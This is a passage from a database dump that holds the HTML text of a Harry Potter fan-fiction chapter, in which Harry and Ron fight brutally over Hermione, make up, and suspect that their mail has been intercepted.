&#8220;You&#8217;ve done well for yourself.&#8221; Harry\ndropped into a large leather chair and got comfortable.&nbsp; He entered a state of meditation, and the\ntime flew by. The next thing he was aware of was the door opening and closing.\nHe opened his eyes to see his old friend taking off his cloak and hanging it\nup. </p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hello Ron.&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in"><b><i>To Be Continued</i></b></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;</p>\n\n<p class="MsoNormal"><b>Author&#8217;s Notes:</b>&nbsp;\nPlease read and review.&nbsp; I&#8217;ll\ntake any kind of constructive criticism.&nbsp;\nI <b>really need</b> some good constructive criticism.&nbsp; If you like it, tell me why &amp; in\ndetail.&nbsp; If you don&#8217;t like it, tell me\nwhy &amp; in extreme detail.&nbsp; I&#8217;ll even\ntake flames, <b>IF</b> they are constructive.&nbsp;\nRemember, the more reviews I get the faster I can get out the other\nchapters!&nbsp; = )</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(107, 4, ' <p><b>Title:</b> Harry Potter and The Panacea &#8211; Chapter 04<br>\n\n\n<b>Author name:</b> Falcon<br>\n\n\n<b>Author email:</b> falcun_21@yahoo.com<br>\n\n\n<b>Category:</b> Portkey.org<br>\n\n\n<b>Sub Category:</b> Action/Adventure, Romance, Humor<br>\n\n\n<b>Keywords:</b> H/Hr<br>\n\n\n<b>Rating:</b> Graphic R <br>\n\n\n<b>Summary:</b> Two years have gone by since the end of Harry&#8217;s final year.&nbsp; Voldemort is dead.&nbsp; Harry has withdrawn from the wizarding society after defeating Voldemort and graduation from Hogwarts, but still keeps in contact with Ron &amp; Hermione through owl post and occasional visits.&nbsp; Ron is a Chudley Cannon. Hermione has been working at Hogwarts since their final year with all the Professors.&nbsp; Sirius has been acquitted of all charges against him and is the Transfiguration Professor.&nbsp; Professor McGonagall is the new Headmistress replacing an ill Headmaster Dumbledore and Flitwick is the Deputy Headmaster.&nbsp; Lupin is reinstated as the DADA Professor after Moody&#8217;s retirement.&nbsp; </p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Disclaimer</b>: All characters belong to JKR, and I ain&#8217;t making no money off them. This story is made up of my own original ideas, and any resemblance to anyone else&#8217;s is strictly coincidental, and unintentional.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Author&#8217;s Note</b>:&nbsp; This is for all those who want Ron to get what he deserves.&nbsp; Ron lovers/likers just bear with it.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Chapter 4</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Who&#8217;s there?&#8221; Ron spun, pulling his wand and looking around. It was only then that Harry realized just how much time had passed. It was very dark in the apartment, and the chair he was sitting in was in a shadowed corner making him effectively invisible.</p>\n\n<p>&#8220;It&#8217;s me Ron.&#8221; </p>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p>Harry wasn&#8217;t sure what kind of reaction to expect from Ron, so kept his guard up. &#8220;Yeah, it&#8217;s me.&#8221;</p>\n\n<p>&#8220;What are you doing here?&#8221; Ron put away his wand, flipped on the lights, went into the kitchen and came back with a bottle of fire-whiskey. Harry could smell the perfume and alcohol already surrounding his best friend, but stayed silent about it. Ron untwisted the cap and took a slug.</p>\n\n<p>&#8220;I can&#8217;t drop in on a friend?&#8221; Harry asked.</p>\n\n<p>&#8220;Not unexpected like this.&#8221;</p>\n\n<p>&#8220;Why not?&#8221;</p>\n\n<p>Ron took a long pull off his whiskey and wiped his mouth with the back of his hand. &#8220;Because, I often have people over and it would be very upsetting for them if you just pop in without any notice.&#8221;</p>\n\n<p>&#8220;By people, I assume you mean women.&#8221;</p>\n\n<p>&#8220;Of course I mean women!&#8221; Ron said crossly. &#8220;What do you think I am?&#8221;</p>\n\n<p>&#8220;Well, after the way you mooned over Krum in 4th year, I wasn&#8217;t sure.&#8221; Harry said, grinning and cutting his eyes sideways at Ron.</p>\n\n<p>&#8220;That is NOT funny Harry. That kind of talk could ruin me if it got out.&#8221;</p>\n\n<p>&#8220;You were kind of obsessed with him, what were we supposed to think?&#8221;</p>\n\n<p>&#8220;He was my idol Harry. I looked up to him!&#8221; Ron said, turning slightly red. &#8220;I wasn&#8217;t interested in him any other way.&#8221;</p>\n\n<p>&#8220;Now, now Ron, denial ain&#8217;t just a river in Egypt.&#8221; Harry removed his cape and tossed it in the chair he&#8217;d been sitting in. &#8220;Loads of sports stars are coming out of the closet these days.&#8221;</p>\n\n<p>&#8220;Harry. I. Am. Not. Gay.&#8221; Ron said slowly through gritted teeth.</p>\n\n<p>&#8220;I know,&#8221; Harry grinned. &#8220;I&#8217;m just messing with you.&#8221;</p>\n\n<p>&#8220;Well, stop it! You never know who might be listening in.&#8221; Ron glanced around his apartment with a strange look on his face. &#8220;They&#8217;re everywhere,&#8221; he whispered.</p>\n\n<p>&#8220;Paranoid much?&#8221;</p>\n\n<p>&#8220;I mean it Harry, I have no privacy. Everyone wants a picture of me, or a piece of my clothing. Some of them even worship me, like I did Krum. One crazy woman even cut off a lock of my hair!&#8221;</p>\n\n<p>&#8220;Well, you wanted a life of fame; looks like you got it and all the things that</p>\n\n<p>come with it, wealth, women, and ego.&#8221; </p>\n\n<p>&#8220;What makes you say that?&#8221; asked Ron, shooting him a suspicious look. </p>\n\n<p>Harry shrugged and rubbed his chin. &#8220;What, you don&#8217;t think I hear things?&#8221; </p>\n\n<p>&#8220;Hermione talked to you, didn&#8217;t she?&#8221;</p>\n\n<p>Harry was surprised that Hermione should come up so quickly, but hid his reaction. &#8220;Yes, she did.&#8221; He was unprepared for what happened next.</p>\n\n<p>&#8220;I knew she&#8217;d go running to you. Stay out of it Harry! It&#8217;s between me and her and I won&#8217;t have you interfering.&#8221;</p>\n\n<p>&#8220;What?&#8221; Harry didn&#8217;t try to disguise the surprise in his voice this time.</p>\n\n<p>&#8220;You heard me.&#8221; Ron said shortly.</p>\n\n<p>Harry held up a finger. &#8220;First off, where Hermione&#8217;s welfare is concerned, NOBODY tells me what to do!&#8221;</p>\n\n<p>&#8220;She&#8217;s my girlfriend Harry.&#8221;</p>\n\n<p>&#8220;Is that so?&#8221;</p>\n\n<p>&#8220;We&#8217;ve been a couple for some time now.&#8221;</p>\n\n<p>&#8220;That&#8217;s not what she said. She says you&#8217;re mistaken about the attention she showed you, and that she just wants to be friends.&#8221;</p>\n\n<p>&#8220;That&#8217;s a lie! She loves me!&#8221;</p>\n\n<p>&#8220;As a friend,&#8221; Harry stated calmly. &#8220;She&#8217;s in love with someone else.&#8221;</p>\n\n<p>&#8220;NO! I don&#8217;t accept that!&#8221;</p>\n\n<p>&#8220;It&#8217;s not your decision Ron. It&#8217;s hers and hers alone.&#8221;</p>\n\n<p>&#8220;It&#8217;s that guy from the club isn&#8217;t it?&#8221; Ron snarled. &#8220;Little tramp.&#8221;</p>\n\n<p>Harry stepped close and glared at him. &#8220;You&#8217;re a fine one to talk, you as much as admitted you&#8217;ve been seeing other women! And for your information, the guy at the club was ME, and don&#8217;t you ever talk about her like that!&#8221;</p>\n\n<p>Ron&#8217;s face turned red with fury. &#8220;I&#8217;ll talk about her any way I please, and you&#8217;d do well to get out of my face!&#8221;</p>\n\n<p>&#8220;Or what,&#8221; Harry asked, a trifle more harshly than he&#8217;d intended. He didn&#8217;t want to antagonize his friend, but after all he had been through, he wasn&#8217;t about to be threatened. </p>\n\n<p>Ron scowled. &#8220;Listen Harry, I know you think you&#8217;re something special because you killed You-Know-Who, but that was magic, and you and I both know that the only way you can defeat me in a fight is if you use magic. Physically, you&#8217;re no match for me.&#8221; He took a sip of his fire-whiskey as if that was the end of the conversation.</p>\n\n<p>Harry struggled to keep his amusement as well as his ire in check. &#8220;If it makes you feel better to think that, go right ahead.&#8221;</p>\n\n<p>Ron snorted. &#8220;Oh I see, you think just because you&#8217;ve grown taller that you can beat me now.&#8221; He laughed harshly and flexed his muscles, giving Harry a good look at the large biceps. &#8220;You don&#8217;t want any of this,&#8221; he said, indicating himself. &#8220;So don&#8217;t try unless you&#8217;re ready to get hurt.&#8221;</p>\n\n<p>&#8220;Gotten full of yourself haven&#8217;t you Ron?&#8221;</p>\n\n<p>&#8220;Not really, I&#8217;m just confident,&#8221; Ron laughed. &nbsp;</p>\n\n<p>Harry sized up his best friend. Ron was about six feet tall, give or take an inch, and Harry reckoned him to weigh an even 200 pounds, and not an ounce of it was fat. Harry had the advantage in height and reach, but he was giving up about 25 to 30 pounds. Ron was broad across the shoulders and thick through the chest. He had put on serious muscle since leaving school, and now looked more like his brother Charlie. Ron looked tough, and Harry winced when he thought about the power that must be in those big arms, but there was nothing he could do. Ron&#8217;s temper was volatile to say the least, and his own anger, which had been growing steadily stronger wouldn&#8217;t allow him to back down now.</p>\n\n<p>&#8220;It takes more than confidence to win a fight Ron.&#8221; </p>\n\n<p>&#8220;I- Wait a minute! You were the guy at the club?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; said Harry, his voice hard and challenging.</p>\n\n<p>&#8220;And you said she&#8217;s in love with someone else.&#8221; Harry could almost see the pieces connecting in Ron&#8217;s mind. &#8220;She&#8217;s in love with you!&#8221;</p>\n\n<p>&#8220;Yeah. You wanna make something of it?&#8221;</p>\n\n<p>&#8220;You bastard, she was supposed to be MINE!&#8221; Ron exploded in fury, throwing a wild right hand at Harry&#8217;s head.</p>\n\n<p>Instead of catching the punch as he had at the club, Harry dodged it and grabbed Ron by the collar. He lifted the shorter man and slammed him hard into the nearest wall. </p>\n\n<p>&#8220;That&#8217;s the second time you&#8217;ve tried to hit me,&#8221; said Harry through clenched teeth. &#8220;If you don&#8217;t stop that, I&#8217;m going to lose my temper.&#8221; He pushed his face very close to Ron&#8217;s. &#8220;Don&#8217;t make me hurt you Ron,&#8221; he growled.</p>\n\n<p>&#8220;Try it Four Eyes!&#8221; Ron snapped, and smashed the bottle over Harry&#8217;s head, knocking his glasses askew and drenching him with whiskey. Harry dropped him, stumbled a few steps and put a hand to his bleeding head. </p>\n\n<p>&#8220;OW!&#8221; Harry looked at the blood on his hand and glared at Ron. &#8220;I should have known you&#8217;d use a cheap shot.&#8221; He straightened his glasses, muttered a spell that made them unbreakable, and tagged Ron on the jaw with a right. Ron fell back against the wall, and wiped his mouth.</p>\n\n<p>&#8220;Is that all you got?&#8221; Ron chuckled. &#8220;Ginny hits harder than you do.&#8221; </p>\n\n<p>&#8220;At least I didn&#8217;t use a weapon.&#8221; Harry sneered. &#8220;Care to try again?&#8221;</p>\n\n<p>Ron smiled. &#8220;I&#8217;m going to enjoy this.&#8221;</p>\n\n<p>&#8220;Let&#8217;s see what you got.&#8221; Harry smirked.</p>\n\n<p>&#8220;You&#8217;re awfully cocky for a guy about to get his arse handed to him.&#8221; Ron remarked.</p>\n\n<p>&#8220;Bring it on.&#8221; Harry motioned for Ron to attack.</p>\n\n<p>Ron attacked quickly, punching hard with both hands, and Harry was hard pressed to defend himself. He danced sideways, ducking and weaving, somehow managing to evade every punch and infuriating his opponent.</p>\n\n<p>&#8220;Stand still!&#8221; Ron growled, trying to hit him again.</p>\n\n<p>&#8220;Whatsa matter Ronniekins? Having trouble hitting me?&#8221; Harry taunted.</p>\n\n<p>&#8220;I&#8217;LL SHOW YOU RONNIEKINS!&#8221; Ron screamed and launched a much more violent attack. </p>\n\n<p>Harry blocked first one haymaker then another with his forearms, and then threw a quick left jab that mashed Ron&#8217;s lips back against his teeth. The redhead countered with a thunderous right that caught Harry on the temple. Harry reeled from the blow, but lashed out with one long leg and kicked Ron in the knee. Weasley cried out, and dropped to the floor clutching his leg.</p>\n\n<p>&#8220;Arghhhhh! God damn it Harry! What are you trying to do, break my fuckin&#8217; leg?&#8221;</p>\n\n<p>&#8220;Yeah!&#8221; Harry moved forward, but Ron&#8217;s other leg shot out and caught him right above his own knee. Harry saw it coming, and bent his leg to prevent his knee getting snapped. He growled and grabbed Ron by the shirt front and lifted him to his feet.</p>\n\n<p>&#8220;That was dirty Ron.&#8221;</p>\n\n<p>&#8220;Yeah, well you know&#8230;you do what you have to.&#8221; Ron grinned, and slammed his heel down on Harry&#8217;s toes. Harry retaliated with a palm thrust to Ron&#8217;s chest that knocked the other man backward several feet. Ron gave him an amazed look, and then charged him, throwing a multitude of punches. Harry managed to slip a high left, but caught a hard right on the cheekbone that made bells go off inside his head and made him regret his earlier taunts. Harry realized rather belatedly that Ron was very quick, and could hit very, very hard. He dodged another left, but got another nasty shot to the head from the same right. Harry grinned ruefully, he had been right; Ron was most definitely capable of putting up a good fight. </p>\n\n<p>Harry saw the left start, but this time he was ready for the follow up right and dodged first the left then the right but Ron changed the angle of his right arm at the last minute and clipped Harry with his elbow. Harry clenched his teeth against the pain and pulverized Ron&#8217;s lips with a stiff left. He threw another left, but the redhead countered with an uppercut to his ribs that stood him on his tiptoes and left him gasping for air. </p>\n\n<p>Trying to get some breathing room, Harry stabbed an overhand right that broke Ron&#8217;s nose, and doused the front of the man&#8217;s shirt in blood. He followed the right with a left to the stomach, and when Weasley bent over, Harry dropped his palm to the back of Ron&#8217;s head and forced it downwards to meet his rising knee. After that little maneuver the fight got bad.</p>\n\n<p>Harry spun around behind the dazed Ron and slammed his elbow into the back of Weasley&#8217;s neck, and Weasley hit the floor on his knees. Harry launched a toe kick into Ron&#8217;s gut, but Weasley blocked it and punched Harry straight in the balls. Harry grunted and grabbed his crotch, he staggered backwards, but Ron grabbed the front of his shirt and heaved him across the room. Harry was launched forward by Ron&#8217;s throw, and landed hard on the dining table, its edge slamming into his stomach. He felt Ron grab the back of his shirt, and heard it rip as Ron yanked him off the table. Harry caught Ron with a back-fist, and as Weasley was falling, tried a snap kick to Ron&#8217;s midsection. His foot was snagged, and Ron used the caught limb to spin him around. The next thing Harry felt was Ron&#8217;s shoulder striking him in the back as the man propelled him face-first into another wall.</p>\n\n<p>&nbsp;Harry threw up his arms to try to cushion the blow, and partially succeeded. His forehead struck the wall hard enough to make his eyes cross, but not enough to knock him out. He shoved away from the wall, and jammed his elbow into Ron&#8217;s already abused nose. He grunted in pain when Ron slammed him against the wall, held him in place with one hand and hammered his kidneys with the other. Harry fought to turn around and a hard right to his eye spun him, he doubled over clutching his head, and then whipped an uppercut from his toes into Ron&#8217;s stomach. Weasley fell back gasping, and Harry watched him warily. </p>\n\n<p>&#8220;You had enough?&#8221; Harry asked.</p>\n\n<p>&#8220;I&#8217;m just getting warmed up!&#8221; Ron roared. </p>\n\n<p>The redhead put up his fists in the classic boxer&#8217;s stance, while Harry assumed a more relaxed posture. They closed, and Harry jabbed a quick right to Ron&#8217;s left eye. He caught a left hook from Ron that caused his right ear to explode in pain, and he stumbled backward. Harry watched for an opening, and got it when Ron pressed his advantage. Weasley threw a wide right and Harry grabbed the arm and used it to hurl Ron across the room. Ron hit the stereo hard, shattering the casing and knocking over the speakers. </p>\n\n<p>Harry advanced on the prone man, grabbed him by the collar and yanked him to his feet. He hammered Ron in the ribs, and got elbowed in the nose. Harry howled in pain, threw Ron backwards, and the man tripped over the coffee table landing hard on his back. Harry leaned over to grab him, and Weasley kicked him in the chest with both feet.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry flew backward like he&#8217;d been kicked by a mule and shattered the display case. The glass sliced into his back and arms, but he ignored it. Harry pushed himself from the ruined case and met Ron in the middle of the room. He grabbed Weasley and slammed him face first into the TV. Ron roared and swept Harry&#8217;s legs out from under him. Harry hit the floor on his back, and looked up in time to see Ron push the TV over on top of him. Harry rolled out of the way to avoid being crushed, and Ron kicked him in the head.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Ron grabbed Harry&#8217;s hair and slammed his head on the floor repeatedly. Punch drunk, Harry sank his elbow into Ron&#8217;s gut, shoved him to the floor and scrambled to his feet. He stood there, one eye swollen shut, his shirt ripped and torn, and wiped the blood from his broken nose. He watched his opponent rise and do the same. Ron worked his jaw and spat out a mouthful of blood. Harry savagely tore off his ruined shirt and popped his neck. He eyed Ron and cracked his knuckles.</p>\n\n<p>&#8220;Ready for the pain?&#8221; Harry snarled.</p>\n\n<p>&#8220;Don&#8217;t sing it Harry, bring it!&#8221; Weasley growled and hurled himself at Harry, punching wildly. Harry stabbed a straight right to Ron&#8217;s cheekbone, splitting the skin. He knew Ron was hitting him, but he was intent on putting the redhead down. He sent another right hand down the same track, and opened Ron&#8217;s split cheek wider. A hard left made Harry see stars, and he slammed a right uppercut to the other man&#8217;s ribs. He followed it with another right to the ribs, then feinted a left and clobbered Ron with a right hook. Weasley staggered, and Harry launched a spinning back kick at his friend&#8217;s head. It caught Ron and knocked him sprawling across the sofa. Harry cocked his fist, and when Ron stood up he rolled his shoulder and put all his weight behind a straight right. It caught the other man full on the chin, Ron&#8217;s eyes rolled back into his head and he folded like a busted flush. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry rubbed his skinned knuckles and went into the kitchen. He splashed water on his face, and then filled a pot. He conjured two icepack and went back to the living room, carrying the packs in one hand and the pot in the other. He dumped the water right in Ron&#8217;s face, and the redhead sat up quickly, spitting and spluttering.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Gah! Whazzat?&#8221; Ron blinked rapidly, cradled his head in his hands, and groaned. &#8220;Owwww. You broke my noze Harry.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry handed Ron one of the icepacks, held the other to his own swollen features, and dropped down on the floor beside him. &#8220;Yeah, you broke mine too.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You look like I feel,&#8221; said Ron, taking the icepack and applying it to his black eye.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry. I didn&#8217;t come here to fight you. I just wanted to clear the air between you and Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not fair you know.&#8221; Ron mumbled through swollen lips.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s not?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You getting her. You got everything else, she was the one thing that I was supposed to get and you weren&#8217;t.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry moved his icepack and stared at Ron like he had lost his mind. &#8220;I got everything alright. My parents were killed, the people that raised me treated me like a slave, and my life was in constant peril for seven years. What problems did you have? Oh yeah, you were poor,&#8221; he snorted. &#8220;I may have had money, but it was to provide for my education. Money can&#8217;t buy a family Ron, and that&#8217;s all I&#8217;ve ever wanted.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know. It can&#8217;t buy happiness either.&#8221; Ron&#8217;s voice was quiet.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I never thought I&#8217;d hear <i>YOU </i>say something like that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron massaged his jaw. &#8220;I&#8217;ve learned a lot in the past few months. I&#8217;m starting to see what you meant, being famous is a pain.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Took you long enough,&#8221; Harry said, but then reconsidered his words. &#8220;I&#8217;m sorry, that was uncalled for.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, it was called for. I&#8217;ve been a total asshole Harry. I wanted Hermione because I thought she liked me, and then I just wanted her to keep you from having her. I&#8217;ve treated her so badly. Do you think she&#8217;ll forgive me?&#8221; Ron sounded hopeful.</p>\n\n<p>&#8220;Sure. Once she sees that you&#8217;re over your little obsession with her. Are you going to be alright with me and her?&#8221; Harry asked.</p>\n\n<p>&#8220;Yeah,&#8221; Ron ran his hands through his hair. &#8220;I don&#8217;t even know what I saw in her, she&#8217;s not my type and she&#8217;s not even that attractive.&#8221;</p>\n\n<p>&#8220;She is to me.&#8221; Harry said quietly. </p>\n\n<p>&#8220;Well, she is attractive, but&#8230;. It&#8217;s just that my tastes run more towards&#8230;&#8221; Ron made a motion with his hands, and Harry grinned.</p>\n\n<p>&#8220;Yeah, I know. I saw that girl at the club.&#8221;</p>\n\n<p>Ron blushed, turning as red as his hair. &#8220;Oh yeah, her. Well, pretty much every girl I&#8217;ve been with was like her, easy on the eyes, but not much upstairs.&#8221; He grinned sheepishly. &#8220;You know me&#8230; I&#8217;m more a body man than a mind man. If they look good, I don&#8217;t care how dumb they are.&#8221;</p>\n\n<p>&#8220;Surface over substance huh?&#8221;</p>\n\n<p>&#8220;Yeah, I don&#8217;t like for a girl to be too smart, Hermione always intimidated me with her intelligence. I don&#8217;t like that. She was always so&#8230;so&#8230;&#8221; Ron struggled to find the word.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;Haughty towards me,&#8221; Ron said finally.</p>\n\n<p>&#8220;Oooh, good word usage.&#8221;</p>\n\n<p>&#8220;Thanks.&#8221;</p>\n\n<p>&#8220;As you were saying,&#8221; Harry prompted.</p>\n\n<p>&nbsp;&#8220;Right, I guess deep down I always knew she preferred you. She never talked down to you like she did me. She treated you like an equal. I see that now. I&#8217;m glad you two have gotten together, and I&#8217;m not mad, because even while I was thinking of her as my girlfriend, I was sleeping with other women. So it&#8217;s a good thing I wasn&#8217;t dating her, because then I would have been cheating on her, and she doesn&#8217;t deserve that at all. </p>\n\n<p>Ron buried his head in his hands. &#8220;I&#8217;ve really screwed up Harry. I&#8217;ve been living the wild life, money, sex, booze, you name it, and the whole time I was telling myself that this is what I always wanted. But it&#8217;s not.&#8221; He looked up, misery etched into his features. &#8220;I don&#8217;t have any friends here Harry, at least none that I can trust. I don&#8217;t know if they like me for me, or my fame, and it&#8217;s driving me nuts. I don&#8217;t know how you dealt with as well as you did.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I had good friends to keep me grounded,&#8221; Harry said, shrugging his shoulders. &#8220;That&#8217;s all it takes.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Whatever happened to us Harry?&#8221; Ron asked. &#8220;We used to be so close.&#8221;</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Harry gingerly felt his swollen eye. &#8220;There were indicators going back as far as 4th year.&#8221;</p>\n\n<p>&#8220;If you say so Harry,&#8221; Ron grinned, &#8220;I&#8217;ve taken quite a few bludgers to the head since then, so my memory might not be very reliable.&#8221;</p>\n\n<p>Harry laughed. &#8220;How bad were they damaged?&#8221;</p>\n\n<p>&#8220;Very funny, you know how much those things hurt.&#8221;</p>\n\n<p>&#8220;Yeah, I do.&#8221; Harry said. He stood up and offered Ron a hand. &#8220;We okay?&#8221;</p>\n\n<p>Ron took his hand and stood up as well. &#8220;Yeah, we&#8217;re okay.&#8221; They embraced, clapping each other on the back. </p>\n\n<p>&#8220;I&#8217;ve missed you buddy.&#8221; Harry said, stepping back.</p>\n\n<p>&#8220;I&#8217;ve missed you too,&#8221; Ron said. &#8220;Can we just pretend that the last few years never happened?&#8221;</p>\n\n<p>&#8220;I&#8217;d love to man, but can&#8217;t. Too much has happened that seems to be leading up to something even bigger. I&#8217;m going to need your help once I&#8217;ve gotten all the information together. Are you in?&#8221;</p>\n\n<p>&#8220;Trouble?&#8221;</p>\n\n<p>&#8220;That&#8217;s an understatement.&#8221;</p>\n\n<p>&#8220;You-Know-Who type trouble?&#8221; asked Ron, his voice held the slightest hint of fear.</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&#8220;Not again! What is it this time?&#8221; Ron asked, resigned to the inevitable.</p>\n\n<p>&#8220;I&#8217;ll fill you in when we&#8217;ve gotten the rest of the information gathered.&#8221; Harry grinned. &#8220;You&#8217;re going to be my Ace-in-the-hole.&#8221;</p>\n\n<p>&#8220;Cool!&#8221; Ron went into the kitchen and came back with two butterbeers. He handed one to Harry, and they sat down at the table. Ron leaned his elbows on the table, and Harry slouched in his seat.</p>\n\n<p>&#8220;Why didn&#8217;t you return my owls?&#8221; Harry asked.</p>\n\n<p>&#8220;Return <i>your</i> owls! Why didn&#8217;t you return mine?&#8221; Ron exclaimed.</p>\n\n<p>Harry frowned. &#8220;Something is not right here Ron. I&#8217;ve owled you at least twice a week since I left at graduation.&#8221;</p>\n\n<p>&#8220;You think someone has been stopping my mail?&#8221;</p>\n\n<p>&#8220;It&#8217;s the only thing that makes sense.&#8221; Harry sat up straight. &#8220;Whom does your mail go through?&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Everything I get goes straight to the team P.R. Agent.&#8221; </p>\n\n<p>&#8220;Do you trust him?&#8221;</p>\n\n<p>Ron grinned, &#8220;Her actually, and I guess I trust her. I&#8217;ve slept with her.&#8221;</p>\n\n<p>&#8220;Quite the lady killer, huh?&#8221;</p>\n\n<p>Ron shrugged, &#8220;Well, you know, if they&#8217;re offering.&#8221;</p>\n\n<p>&#8220;Aren&#8217;t you worried about paternity suits?&#8221;</p>\n\n<p>&#8220;Nah&#8230;I&#8217;m careful.&#8221;</p>\n\n<p>&#8220;You&#8217;d better be.&#8221; Harry downed his drink and stood up. &#8220;Look, I have to be getting back. Hermione is probably worried sick thinking we killed each other or something.&#8221;</p>\n\n<p>Ron grinned and punched him in the shoulder. &#8220;Well, it wasn&#8217;t from lack of trying was it?&#8221;</p>\n\n<p>&#8220;Nope,&#8221; Harry grinned back.</p>\n\n<p>Ron looked Harry up and down. &#8220;You look like shit Harry.&#8221;</p>\n\n<p>&#8220;I&#8217;m sure I do. I feel that way too.&#8221;</p>\n\n<p>&#8220;Want to borrow a shirt?&#8221;</p>\n\n<p>&#8220;Nah, I&#8217;m good.&#8221;</p>\n\n<p>&#8220;You sure? You&#8217;re cut up pretty good.&#8221;</p>\n\n<p>&#8220;Yeah, I&#8217;m sure,&#8221; said Harry. &#8220;They&#8217;re not that deep and the bleeding has mostly stopped. Sorry about the TV by the way.&#8221;</p>\n\n<p>&#8220;No problem, I never watched it anyway. I don&#8217;t see the attraction Muggles have for such devices.&#8221;</p>\n\n<p>&#8220;You would if you&#8217;d been raised around them.&#8221;</p>\n\n<p>&#8220;I&#8217;m sure I would. Sure I can&#8217;t get you a shirt? Or at least some bandages?&#8221;</p>\n\n<p>&#8220;Don&#8217;t worry about me, Hermione will patch me up when I get home.&#8221;</p>\n\n<p>&#8220;Tell her I said &#8216;hi&#8217;, and that I&#8217;m extremely sorry for the way I treated her,&#8221; Ron said, his tone heavy with sincerity. &#8220;And that I hope we can be friends again.&#8221;</p>\n\n<p>&#8220;Alright, I&#8217;ll tell her. Take it easy Ron.&#8221;</p>\n\n<p>&#8220;You too Harry.&#8221;</p>\n\n<p>Harry grabbed his cape from the recliner. &#8220;Let me fix this place before I leave.&#8221; He waved his hand, and the apartment and Ron were restored to perfect condition. &#8220;Oh yeah, I almost forgot, you may be getting a brother-in-law.&#8221;</p>\n\n<p>&#8220;Wow!&#8221; said Ron, feeling his face and looking around at his flat. His face fell when Harry&#8217;s words finally registered. &#8220;A brother &#8211; in &#8211; law? Really? Which one of my brothers turned gay on me, and who are they marrying?&#8221;</p>\n\n<p>&#8220;Not your brothers Ron&#8230; Ginny.&#8221;</p>\n\n<p>&#8220;Ginny? Who in their right mind would want to marry her? She&#8217;s just like Mum, and I can&#8217;t imagine anyone insane enough to find that attractive.&#8221; Ron thought a moment. &#8220;Well, besides Dad that is. Who&#8217;s the unlucky guy?&#8221; </p>\n\n<p>&#8220;Draco Malfoy.&#8221;</p>\n\n<p>&#8220;WHAT?&#8221; Ron shouted. &#8220;Ginny and 